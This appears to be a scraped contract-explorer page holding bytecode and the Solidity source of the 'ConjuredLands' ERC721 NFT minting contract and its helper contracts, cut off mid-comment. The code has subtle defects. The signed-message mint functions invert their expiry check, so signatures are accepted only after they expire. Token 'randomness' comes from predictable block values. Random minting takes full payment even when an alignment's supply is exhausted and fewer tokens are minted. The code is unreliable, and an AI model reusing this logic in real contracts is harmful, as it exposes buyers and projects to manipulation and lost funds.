614322565b604082019050919050565b6000613543602983613c95565b915061354e82614371565b604082019050919050565b6000613566602e83613c95565b9150613571826143c0565b604082019050919050565b6000613589601c83613c95565b91506135948261440f565b602082019050919050565b60006135ac602083613c95565b91506135b782614438565b602082019050919050565b60006135cf603183613c95565b91506135da82614461565b604082019050919050565b60006135f2602c83613c95565b91506135fd826144b0565b604082019050919050565b6000613615602083613c95565b9150613620826144ff565b602082019050919050565b6000613638602983613c95565b915061364382614528565b604082019050919050565b600061365b602f83613c95565b915061366682614577565b604082019050919050565b600061367e602183613c95565b9150613689826145c6565b604082019050919050565b60006136a1603183613c95565b91506136ac82614615565b604082019050919050565b60006136c4603083613c95565b91506136cf82614664565b604082019050919050565b60006136e7600b83613c95565b91506136f2826146b3565b602082019050919050565b600061370a601f83613c95565b9150613715826146dc565b602082019050919050565b600061372d600b83613c95565b915061373882614705565b602082019050919050565b61374c81613e30565b82525050565b600061375e8285613361565b915061376a8284613361565b91508190509392505050565b600060208201905061378b60008301846132c2565b92915050565b60006080820190506137a660008301876132c2565b6137b360208301866132c2565b6137c06040830185613743565b81810360608301526137d281846132e0565b905095945050505050565b60006020820190506137f260008301846132d1565b92915050565b600060208201905081810360008301526138128184613328565b905092915050565b6000602082019050818103600083015261383381613392565b9050919050565b60006020820190508181036000830152613853816133b5565b9050919050565b60006020820190508181036000830152613873816133d8565b9050919050565b60006020820190508181036000830152613893816133fb565b9050919050565b600060208201905081810360008301526138b38161341e565b9050919050565b600060208201905081810360008301526138d381613441565b9050919050565b600060208201905081810360008301526138f381613464565b9050919050565b6000602082019050818103600083015261391381613487565b9050919050565b60006020820190508181036000830152613933816134aa565b9050919050565b60006020820190508181036000830152613953816134cd565b9050919050565b60006020820190508181036000830152613973816134f0565b9050919050565b6000602082019050818103600083015261399381613513565b9050919050565b600060208201905081810360008301526139b381613536565b9050919050565b600060208201905081810360008301526139d381613559565b9050919050565b600060208201905081810360008301526139f38161357c565b9050919050565b60006020820190508181036000830152613a138161359f565b9050919050565b60006020820190508181036000830152613a33816135c2565b9050919050565b60006020820190508181036000830152613a53816135e5565b9050919050565b60006020820190508181036000830152613a7381613608565b9050919050565b60006020820190508181036000830152613a938161362b565b9050919050565b60006020820190508181036000830152613ab38161364e565b9050919050565b60006020820190508181036000830152613ad381613671565b9050919050565b60006020820190508181036000830152613af381613694565b9050919050565b60006020820190508181036000830152613b13816136b7565b9050919050565b60006020820190508181036000830152613b33816136da565b9050919050565b60006020820190508181036000830152613b53816136fd565b9050919050565b60006020820190508181036000830152613b7381613720565b9050919050565b6000602082019050613b8f6000830184613743565b92915050565b6000604082019050613baa6000830185613743565b613bb76020830184613319565b9392505050565b6000604082019050613bd36000830185613743565b613be06020830184613743565b9392505050565b6000613bf1613c02565b9050613bfd8282613ec0565b919050565b6000604051905090565b600067ffffffffffffffff821115613c2757613c26614027565b5b613c308261406a565b9050602081019050919050565b600067ffffffffffffffff821115613c5857613c57614027565b5b613c618261406a565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000613cbc82613e30565b9150613cc783613e30565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cfc57613cfb613f6b565b5b828201905092915050565b6000613d1282613e30565b9150613d1d83613e30565b925082613d2d57613d2c613f9a565b5b828204905092915050565b6000613d4382613e30565b9150613d4e83613e30565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d8757613d86613f6b565b5b828202905092915050565b6000613d9d82613e30565b9150613da883613e30565b925082821015613dbb57613dba613f6b565b5b828203905092915050565b6000613dd182613e10565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000613e4582613e30565b9050919050565b82818337600083830152505050565b60005b83811015613e79578082015181840152602081019050613e5e565b83811115613e88576000848401525b50505050565b60006002820490506001821680613ea657607f821691505b60208210811415613eba57613eb9613fc9565b5b50919050565b613ec98261406a565b810181811067ffffffffffffffff82111715613ee857613ee7614027565b5b80604052505050565b6000613efc82613e30565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613f2f57613f2e613f6b565b5b600182019050919050565b6000613f4582613e30565b9150613f5083613e30565b925082613f6057613f5f613f9a565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f746f6f206d756368000000000000000000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f6d696e742077726f6e67206e756d626572000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4f766572206d696e74206c696d697420666f7220616464726573732e00000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4d696e7420616d6f756e742077696c6c2065786365656420746f74616c20707260008201527f6573616c6520616d6f756e742e00000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60008201527f6578697374656e7420746f6b656e000000000000000000000000000000000000602082015250565b7f496e636f7272656374207472616e73616374696f6e2076616c75652e00000000600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f45524337323155524953746f726167653a2055524920717565727920666f722060008201527f6e6f6e6578697374656e7420746f6b656e000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4d696e7420616d6f756e742077696c6c2065786365656420746f74616c20636f60008201527f6c6c656374696f6e20616d6f756e742e00000000000000000000000000000000602082015250565b7f6e6f742073746172746564000000000000000000000000000000000000000000600082015250565b7f48616e67206f6e20626f79732c20796f756c6c2067657420696e20736f6f6e00600082015250565b7f76616c7565206572726f72000000000000000000000000000000000000000000600082015250565b61473781613dc6565b811461474257600080fd5b50565b61474e81613dd8565b811461475957600080fd5b50565b61476581613de4565b811461477057600080fd5b50565b61477c81613e30565b811461478757600080fd5b5056fea264697066735822122042799c5356cdbcebb405404bff0f1a7d4d134d2cc5403c3aac411b4908746c1164736f6c63430008070033
[ 5 ]
0xF2Bce1776A49250A5cad0F81aeb5C21Be72F537a
// SPDX-License-Identifier: MIT //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // █████ ███ █████ ████ █████████ █████ // // ░░███ ░███ ░░███ ░░███ ███░░░░░███ ░░███ // // ░███ ░███ ░███ ██████ ░███ ██████ ██████ █████████████ ██████ ░███ ░░░ ███████ ████████ ██████ ████████ ███████ ██████ ████████ // // ░███ ░███ ░███ ███░░███ ░███ ███░░███ ███░░███░░███░░███░░███ ███░░███ ░░█████████ ░░░███░ ░░███░░███ ░░░░░███ ░░███░░███ ███░░███ ███░░███░░███░░███ // // ░░███ █████ ███ ░███████ ░███ ░███ ░░░ ░███ ░███ ░███ ░███ ░███ ░███████ ░░░░░░░░███ ░███ ░███ ░░░ ███████ ░███ ░███ ░███ ░███░███████ ░███ ░░░ // // ░░░█████░█████░ ░███░░░ ░███ ░███ ███░███ ░███ ░███ ░███ ░███ ░███░░░ ███ ░███ ░███ ███ ░███ ███░░███ ░███ ░███ ░███ ░███░███░░░ ░███ // // ░░███ ░░███ ░░██████ █████░░██████ ░░██████ █████░███ █████░░██████ ░░█████████ ░░█████ █████ ░░████████ ████ █████░░███████░░██████ █████ // // ░░░ ░░░ ░░░░░░ ░░░░░ ░░░░░░ ░░░░░░ ░░░░░ ░░░ ░░░░░ ░░░░░░ ░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░ ░░░░░ ░░░░░███ ░░░░░░ ░░░░░ // // ███ ░███ // // ░░██████ // // ░░░░░░ // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./EscrowManagement.sol"; import "./SignedMessages.sol"; import "./TokenSegments.sol"; // we whitelist OpenSea so that minters can save on gas and spend it on NFTs contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } contract ConjuredLands is ReentrancyGuard, EscrowManagement, ERC721, ERC721Enumerable, Ownable, SignedMessages, TokenSegments { using Strings for uint256; address proxyRegistryAddress; mapping (address => bool) private airdroppers; mapping(address => uint256[]) private burnedTokensByOwners; uint8 public maxNumberOfTokens = 30; address[] public ownersThatBurned; address[20] public premiumOwners; uint256 public tokenPrice = 0.0555 ether; uint256 public premiumTokenPrice = 5.55 ether; uint256 public constant maxSupply = 10888; uint256 public constant maxIndex = 10887; mapping (uint256 => uint256) private tokenCreationBlocknumber; bool public mintingActive = true; bool public burningActive = false; uint8 public premiumMintingSlots = 22; // that's October 19th 2021 folks! uint256 public salesStartTime = 1634839200; mapping (address => uint256) mintingBlockByOwners; mapping(address => uint256) public highestAmountOfMintedTokensByOwners; string private __baseURI; bool baseURIfrozen = false; // generate random index uint256 internal nonce = 19831594194915648; mapping(int8 => uint256[maxSupply]) private alignmentIndices; // the good, the evil and the neutral https://www.youtube.com/watch?v=WCN5JJY_wiA uint16[3] public alignmentMaxSupply; uint16[3] public alignmentTotalSupply; uint16[3] public alignmentFirstIndex; // these are URIs for the custom part, single URLs and segmented baseURIs mapping(uint256 => string) specialTokenURIs; constructor(string memory _name, string memory _symbol, address[] memory _teamMembers, uint8[] memory _splits, address _proxyRegistryAddress) ERC721(_name, _symbol) { // set the team members require(_teamMembers.length == _splits.length, "Wrong team lengths"); if (_teamMembers.length > 0) { uint8 totalSplit = 0; for (uint8 i = 0; i < _teamMembers.length; i++) { EscrowManagement._addTeamMemberSplit(_teamMembers[i], _splits[i]); totalSplit += _splits[i]; } require(totalSplit == 100, "Total split not 100"); } alignmentMaxSupply[0] = 3000; // good alignmentMaxSupply[1] = 3000; // evil alignmentMaxSupply[2] = 4000; // neutral alignmentFirstIndex[0] = 888; // the indexes 0- 887 are reserved for the giveaways alignmentFirstIndex[1] = alignmentFirstIndex[0] + alignmentMaxSupply[0]; alignmentFirstIndex[2] = alignmentFirstIndex[1] + alignmentMaxSupply[1]; // set the deployer of this contract as an issuer of signed messages SignedMessages.setIssuer(msg.sender, true); __baseURI = "ipfs://QmamCw1tks7fpFyDCfGYVQyMkSwtJ39BRGxuA2D37hFME1/"; proxyRegistryAddress = _proxyRegistryAddress; } function _baseURI() internal view override returns(string memory) { return __baseURI; } function setBaseURI(string memory newBaseURI) public onlyOwner(){ require(!baseURIfrozen, "BaseURI frozen"); __baseURI = newBaseURI; } function baseURI() public view returns(string memory){ return __baseURI; } // calling this function locks the possibility to change the baseURI forever function freezeBaseURI() public onlyOwner(){ baseURIfrozen = true; } function tokenURI(uint256 tokenId) public view override returns(string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); // check if token is in a special segment int256 segmentId = TokenSegments.getSegmentId(tokenId); if (segmentId != -1) { // found a segment, get the URI, only return if it is set string memory segmentURI = TokenSegments.getBaseURIBySegmentId(segmentId); if (bytes(segmentURI).length > 0) { return string(abi.encodePacked(segmentURI,tokenId.toString())); } } // check if a special tokenURI is set, otherwise fallback to standard if (bytes(specialTokenURIs[tokenId]).length == 0){ return ERC721.tokenURI(tokenId); } else { // special tokenURI is set return specialTokenURIs[tokenId]; } } function setSpecialTokenURI(uint256 tokenId, string memory newTokenURI) public onlyOwner(){ require(getAlignmentByIndex(tokenId) == -1, "No special token"); specialTokenURIs[tokenId] = newTokenURI; } function setSegmentBaseTokenURIs(uint256 startingIndex, uint256 endingIndex, string memory _URI) public onlyOwner(){ TokenSegments._setSegmentBaseTokenURIs(startingIndex, endingIndex, _URI); } function setBaseURIBySegmentId(int256 pointer, string memory _URI) public onlyOwner(){ TokenSegments._setBaseURIBySegmentId(pointer, _URI); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) override public view returns(bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } // use this to update the registry address, if a wrong one was passed with the constructor function setProxyRegistryAddress(address _proxyRegistryAddress) public onlyOwner(){ proxyRegistryAddress = _proxyRegistryAddress; } function approveAirdropperContract(address contractAddress, bool approval) public onlyOwner(){ airdroppers[contractAddress] = approval; } function airdropper_allowedCaller(address caller) public view returns(bool){ // only team members can airdrop return (EscrowManagement.teamMembersSplit[caller] > 0); } // used by the external airdropper function airdropper_allowedToken(uint256 tokenId) public view returns(bool){ // only tokens in the giveaway section are allowed for airdrops return (getAlignmentByIndex(tokenId) == -1); } function airdropper_mint(address to, uint256 tokenId) public{ // protect this call - only the airdropper contract can can call this require(airdroppers[msg.sender], "Not an airdropper"); _internalMintById(to, tokenId); } function setIssuerForSignedMessages(address issuer, bool status) public onlyOwner(){ SignedMessages.setIssuer(issuer, status); } function getAlignmentByIndex(uint256 _index) public view returns(int8){ // we take the last one, and loop int8 alignment = -1; // check the boundaries - lower than the first or higher than the last if ((_index < alignmentFirstIndex[0]) || ((_index > alignmentFirstIndex[alignmentFirstIndex.length - 1] + alignmentMaxSupply[alignmentMaxSupply.length - 1] - 1))) { return -1; } for (uint8 ix = 0; ix < alignmentFirstIndex.length; ix++) { if (alignmentFirstIndex[ix] <= _index) { alignment = int8(ix); } } return alignment; } function addTeamMemberSplit(address teamMember, uint8 split) public onlyOwner(){ EscrowManagement._addTeamMemberSplit(teamMember, split); } function getTeamMembers() public onlyOwner view returns(address[] memory){ return EscrowManagement._getTeamMembers(); } function remainingSupply() public view returns(uint256){ // returns the total remainingSupply return maxSupply - totalSupply(); } function remainingSupply(uint8 alignment) public view returns(uint16){ return alignmentMaxSupply[alignment] - alignmentTotalSupply[alignment]; } function salesStarted() public view returns (bool) { return block.timestamp >= salesStartTime; } // set the time from which the sales will be started function setSalesStartTime(uint256 _salesStartTime) public onlyOwner(){ salesStartTime = _salesStartTime; } function flipMintingState() public onlyOwner(){ mintingActive = !mintingActive; } function flipBurningState() public onlyOwner(){ burningActive = !burningActive; } // change the prices for minting function setTokenPrice(uint256 newPrice) public onlyOwner(){ tokenPrice = newPrice; } function setPremiumTokenPrice(uint256 newPremiumPrice) public onlyOwner(){ premiumTokenPrice = newPremiumPrice; } function getRandomId(uint256 _presetIndex, uint8 _alignment) internal returns(uint256){ uint256 totalSize = remainingSupply(_alignment); int8 alignment = int8(_alignment); // allow the caller to preset an index uint256 index; if (_presetIndex == 0) { index = alignmentFirstIndex[uint8(alignment)] + uint256(keccak256(abi.encodePacked(nonce, "ourSaltAndPepper", blockhash(block.number), msg.sender, block.difficulty, block.timestamp, gasleft()))) % totalSize; } else { index = _presetIndex; alignment = getAlignmentByIndex(index); } if (alignment == -1) { // if the index is out of bounds, then exit return 0; } uint256 value = 0; // the indices holds the value for unused index positions // so you never get a collision if (alignmentIndices[alignment][index] != 0) { value = alignmentIndices[alignment][index]; } else { value = index; } // Move last value to the actual position, so if it get taken, you can give back the free one if (alignmentIndices[alignment][totalSize - 1] == 0) { // Array position not initialized, so use that position alignmentIndices[alignment][index] = totalSize - 1; } else { // Array position holds a value so use that alignmentIndices[alignment][index] = alignmentIndices[alignment][totalSize - 1]; } nonce++; return value; } // team members can always mint out of the giveaway section function membersMint(address to, uint256 tokenId) onlyTeamMembers() public{ // can only mint in the non public section require(getAlignmentByIndex(tokenId) == -1, "Token in public section"); _internalMintById(to, tokenId); } // internal minting function by id, can flexibly be called by the external controllers function _internalMintById(address to, uint256 tokenId) internal{ require(tokenId <= maxIndex, "Token out of index"); _safeMint(to, tokenId); getRandomId(tokenId, 0); // consume the index in the alignment, if it was part of the open section int8 alignment = getAlignmentByIndex(tokenId); if (alignment != -1) { alignmentTotalSupply[uint8(alignment)]++; } } // internal minting function via random index, can flexibly be called by the external controllers function _internalMintRandom(address to, uint256 numberOfTokens, uint8 alignment) internal{ require(numberOfTokens <= maxNumberOfTokens, "Max amount exceeded"); for (uint i = 0; i < numberOfTokens; i++) { uint mintIndex = getRandomId(0, alignment); if (alignmentTotalSupply[alignment] < alignmentMaxSupply[alignment]) { _safeMint(to, mintIndex); alignmentTotalSupply[alignment]++; } } if (numberOfTokens > 0) { // this is for preventing getting the id in the same transaction (semaphore) mintingBlockByOwners[msg.sender] = block.number; // keep track of the minting amounts (even is something has been transferred or burned) highestAmountOfMintedTokensByOwners[msg.sender] += numberOfTokens; emit FundsReceived(msg.sender, msg.value, "payment by minting sale"); } } function mint(uint256 numberOfTokens, uint8 alignment) public payable nonReentrant{ require(mintingActive && salesStarted(), "Minting is not active"); require((tokenPrice * numberOfTokens) == msg.value, "Wrong payment"); require(numberOfTokens <= remainingSupply(alignment), "Purchase amount exceeds max supply"); _internalMintRandom(msg.sender, numberOfTokens, alignment); } function premiumMint(uint8 alignment) public payable nonReentrant{ require(mintingActive && salesStarted(), "Minting is not active"); require(premiumMintingSlots>0, "No more premium minting slots"); require(totalSupply()<= maxSupply, "Maximum supply reached"); require(msg.value == premiumTokenPrice, "Wrong payment"); premiumOwners[premiumMintingSlots -1] = msg.sender; premiumMintingSlots--; _internalMintRandom(msg.sender, 1, alignment); } function burn(uint256 tokenId) public nonReentrant{ require(burningActive, "Burning not active."); super._burn(tokenId); // keep track of burners if (burnedTokensByOwners[msg.sender].length == 0){ // first time they burn, add the caller to the list ownersThatBurned.push(msg.sender); } burnedTokensByOwners[msg.sender].push(tokenId); } function getBurnedTokensByOwner(address owner) public view returns(uint256[] memory){ return burnedTokensByOwners[owner]; } event FundsReceived(address from, uint256 amount, string description); // accounting purposes: we need to be able to split the incoming funds between sales and royalty receive() external payable { emit FundsReceived(msg.sender, msg.value, "direct payment, no sale"); } fallback() external payable { emit FundsReceived(msg.sender, msg.value, "direct payment, no sale"); } /* * Functions for handling signed messages * * */ function mintById_SignedMessage(uint256 _tokenId, uint256 _setPrice, uint256 expirationTimestamp, uint256 _nonce, bytes memory _sig) public payable{ // check validity and execute require(expirationTimestamp <= block.timestamp, "Expired"); bytes32 message = SignedMessages.prefixed(keccak256(abi.encodePacked(msg.sender, _tokenId, _setPrice, expirationTimestamp, _nonce))); require(msg.value == _setPrice, "Wrong payment"); require(SignedMessages.consumePass(message, _sig, _nonce), "Error in signed msg"); _internalMintById(msg.sender, _tokenId); if (msg.value > 0) { emit FundsReceived(msg.sender, msg.value, "payment by minting sale"); } } //DAppJS.addSignatureCall('test', 'address', 'uint8', 'uint256', 'uint256', 'uint256','uint256', 'bytes memory'); function mintByAlignment_SignedMessage(uint8 _alignment, uint256 _numberOfTokens, uint256 _maxAmountOfTokens, uint256 _setPrice, uint256 expirationTimestamp, uint256 _nonce, bytes memory _sig) public payable{ // check validity and execute require(expirationTimestamp <= block.timestamp, "Expired"); require(_numberOfTokens <= _maxAmountOfTokens, "Amount too big"); bytes32 message = SignedMessages.prefixed(keccak256(abi.encodePacked(msg.sender, _alignment, _maxAmountOfTokens, _setPrice, expirationTimestamp, _nonce))); require(msg.value == _setPrice * _numberOfTokens, "Wrong payment"); require(SignedMessages.consumePass(message, _sig, _nonce), "Error in signed msg"); _internalMintRandom(msg.sender, _numberOfTokens, _alignment); if (msg.value > 0) { emit FundsReceived(msg.sender, msg.value, "payment by minting sale"); } } function mintAnyAlignment_SignedMessage(uint8 _alignment, uint256 _numberOfTokens, uint256 _maxAmountOfTokens, uint256 _setPrice, uint256 expirationTimestamp, uint256 _nonce, bytes memory _sig) public payable{ // check validity and execute require(expirationTimestamp <= block.timestamp, "Expired"); require(_numberOfTokens <= _maxAmountOfTokens, "Amount too big"); bytes32 message = SignedMessages.prefixed(keccak256(abi.encodePacked(msg.sender, _maxAmountOfTokens, _setPrice, expirationTimestamp, _nonce))); require(msg.value == _setPrice * _numberOfTokens, "Wrong payment"); require(SignedMessages.consumePass(message, _sig, _nonce), "Error in signed msg"); _internalMintRandom(msg.sender, _numberOfTokens, _alignment); if (msg.value > 0) { emit FundsReceived(msg.sender, msg.value, "payment by minting sale"); } } /* * Withdrawal functions */ function withdrawToOwner() public onlyOwner(){ EscrowManagement._withdrawToOwner(owner()); } // these functions are meant to help retrieve ERC721, ERC1155 and ERC20 tokens that have been sent to this contract function withdrawERC721(address _contract, uint256 id, address to) public onlyOwner(){ EscrowManagement._withdrawERC721(_contract, id, to); } function withdrawERC1155(address _contract, uint256[] memory ids, uint256[] memory amounts, address to) public onlyOwner(){ // withdraw a 1155 token EscrowManagement._withdrawERC1155(_contract, ids, amounts, to); } function withdrawERC20(address _contract, address to, uint256 amount) public onlyOwner(){ // withdraw a 20 token EscrowManagement._withdrawERC20(_contract, to, amount); } function balanceOf(address owner) public view override(ERC721) returns (uint256) { return super.balanceOf(owner); } function transferSplitByOwner(address from, address to, uint8 split) public onlyOwner(){ // allow the contract owner to change the split, if anything with withdrawals goes wrong, or a team member loses access to their EOA EscrowManagement._transferSplit(from, to, split); } function tokensOfOwner(address owner) public view returns (uint256[] memory){ // allow this function only after the minting has happened for passed owner require(block.number > mintingBlockByOwners[owner], "Hello @0xnietzsche"); uint256 tokenCount = balanceOf(owner); if (tokenCount == 0) { // The address has no tokens return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 index; for (index = 0; index < tokenCount; index++) { result[index] = tokenOfOwnerByIndex(owner, index); } return result; } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, ERC1155Receiver) returns (bool) { return super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0; /* * Manage different baseURIs per tokenSegments. * A segment is defined by a starting and and ending index. * The last added segment that fits a passed ID wins over previous ones. * A segment can be changed back to an empty string. * A segment can be determined by passing a tokenId * */ contract TokenSegments{ string[] segmentBaseURIs; uint256[] tokenSegmentsStartingIndex; uint256[] tokenSegmentsEndingIndex; function _setSegmentBaseTokenURIs(uint256 startingIndex, uint256 endingIndex, string memory _URI) internal{ tokenSegmentsStartingIndex.push(startingIndex); tokenSegmentsEndingIndex.push(endingIndex); segmentBaseURIs.push(_URI); } function getSegmentId(uint256 pointer) public view returns(int256){ // go backwards, so that segments can be overwritten by adding them if (tokenSegmentsStartingIndex.length == 0) { return -1; } for (int256 i = int256(tokenSegmentsStartingIndex.length - 1); i >= 0; i--) { if ((tokenSegmentsStartingIndex[uint256(i)] <= pointer) && (tokenSegmentsEndingIndex[uint256(i)] >= pointer)) { return i; } } return -1; } function getSegmentBaseURI(uint256 tokenId) public view returns(string memory){ int256 segmentId = getSegmentId(tokenId); if (segmentId == -1) { return ""; } return segmentBaseURIs[uint256(segmentId)]; } function getBaseURIBySegmentId(int256 pointer) public view returns(string memory){ return segmentBaseURIs[uint256(pointer)]; } function _setBaseURIBySegmentId(int256 pointer, string memory _URI) internal{ segmentBaseURIs[uint256(pointer)] = _URI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // handles the signed messages contract SignedMessages{ mapping(uint256 => bool) internal nonces; mapping(address => bool) internal issuers; /// builds a prefixed hash to mimic the behavior of eth_sign. function prefixed(bytes32 hash) internal pure returns(bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } function consumePass(bytes32 message, bytes memory sig, uint256 nonce) internal returns(bool){ // check the nonce first if (nonces[nonce]) { return false; } // check the issuer if (!issuers[recoverSigner(message, sig)]) { return false; } // consume the nonce if it is safe nonces[nonce] = true; return true; } function validateNonce(uint256 _nonce) public view returns(bool){ return nonces[_nonce]; } function setIssuer(address issuer, bool status) internal{ issuers[issuer] = status; } function getIssuerStatus(address issuer) public view returns(bool){ return issuers[issuer]; } function recoverSigner(bytes32 _message, bytes memory sig) internal pure returns(address){ uint8 v; bytes32 r; bytes32 s; (v, r, s) = splitSignature(sig); return ecrecover(_message, v, r, s); } function splitSignature(bytes memory sig) internal pure returns(uint8, bytes32, bytes32){ require(sig.length == 65); bytes32 r; bytes32 s; uint8 v; assembly { // first 32 bytes, after the length prefix r:= mload(add(sig, 32)) // second 32 bytes s:= mload(add(sig, 64)) // final byte (first byte of the next 32 bytes) v:= byte(0, mload(add(sig, 96))) } return (v, r, s); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol"; import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol"; abstract contract ERC1155Interface{ function safeBatchTransferFrom(address from,address to,uint256[] memory ids,uint256[] memory amounts,bytes memory data) public virtual; } abstract contract ERC721Interface{ function safeTransferFrom(address from,address to,uint256 tokenId) public virtual; } abstract contract ERC20Interface{ function transfer(address recipient, uint256 amount) public virtual returns(bool); } contract EscrowManagement is ReentrancyGuard, ERC721Holder, ERC1155Holder{ address[] internal teamMembers; mapping (address => uint8) internal teamMembersSplit; modifier onlyTeamMembers(){ require(teamMembersSplit[msg.sender] > 0, "No team member"); _; } function _getTeamMembers() internal view returns(address[] memory){ return teamMembers; } function getTeamMemberSplit(address teamMember) public view returns(uint8){ return teamMembersSplit[teamMember]; } /* * Escrow and withdrawal functions for decentral team members */ function _addTeamMemberSplit(address teamMember, uint8 split) internal{ require(teamMembersSplit[teamMember] == 0, "Team member already added"); require(split<101, "Split too big"); teamMembers.push(teamMember); teamMembersSplit[teamMember] = split; } function _transferSplit(address from, address to, uint8 split) internal{ // transfer split from one member to another // the caller has to be a team member require(split <= teamMembersSplit[from], "Split too big"); if (teamMembersSplit[to] == 0) { // if to was not yet a team member, then welcome teamMembers.push(to); } teamMembersSplit[from] = teamMembersSplit[from] - split; teamMembersSplit[to] = teamMembersSplit[to] + split; } function transferSplit(address from, address to, uint8 split) public nonReentrant onlyTeamMembers(){ // the from has the be the caller for team members require(msg.sender == from, "Not the sender"); _transferSplit(from, to, split); } // withdraw - pays out the team members by the defined distribution // every call pays out the actual balance to all team members // this function can be called by anyone function withdraw() public nonReentrant{ uint256 balance = address(this).balance; require(balance > 0, "No balance"); uint256 amountOfTeamMembers = teamMembers.length; require(amountOfTeamMembers >0, "0 team members found"); // in order to distribute everything and take care of rests due to the division, the first team members gets the rest // i=1 -> we start with the second member, the first goes after the for bool success; for (uint256 i=1; i<amountOfTeamMembers; i++) { uint256 payoutAmount = balance /100 * teamMembersSplit[teamMembers[i]]; // only payout if amount is positive if (payoutAmount > 0){ (success, ) = (payable(teamMembers[i])).call{value:payoutAmount}(""); //(payable(teamMembers[i])).transfer(payoutAmount); require(success, "Withdraw failed"); } } // payout the rest to first team member (success, ) = (payable(teamMembers[0])).call{value:address(this).balance}(""); //(payable(teamMembers[0])).transfer(address(this).balance); require(success, "Withdraw failed-0"); } // this function is for safety, if no team members have been defined function _withdrawToOwner(address owner) internal{ require(teamMembers.length == 0, "Team members are defined"); (bool success, ) = (payable(owner)).call{value:address(this).balance}(""); //(payable(owner)).transfer(address(this).balance); require(success, "Withdraw failed."); } // these functions are meant to help retrieve ERC721, ERC1155 and ERC20 tokens that have been sent to this contract function _withdrawERC721(address _contract, uint256 id, address to) internal{ // withdraw a 721 token ERC721Interface ERC721Contract = ERC721Interface(_contract); // transfer ownership from this contract to the specified address ERC721Contract.safeTransferFrom(address(this), to,id); } function _withdrawERC1155(address _contract, uint256[] memory ids, uint256[] memory amounts, address to) internal{ // withdraw a 1155 token ERC1155Interface ERC1155Contract = ERC1155Interface(_contract); // transfer ownership from this contract 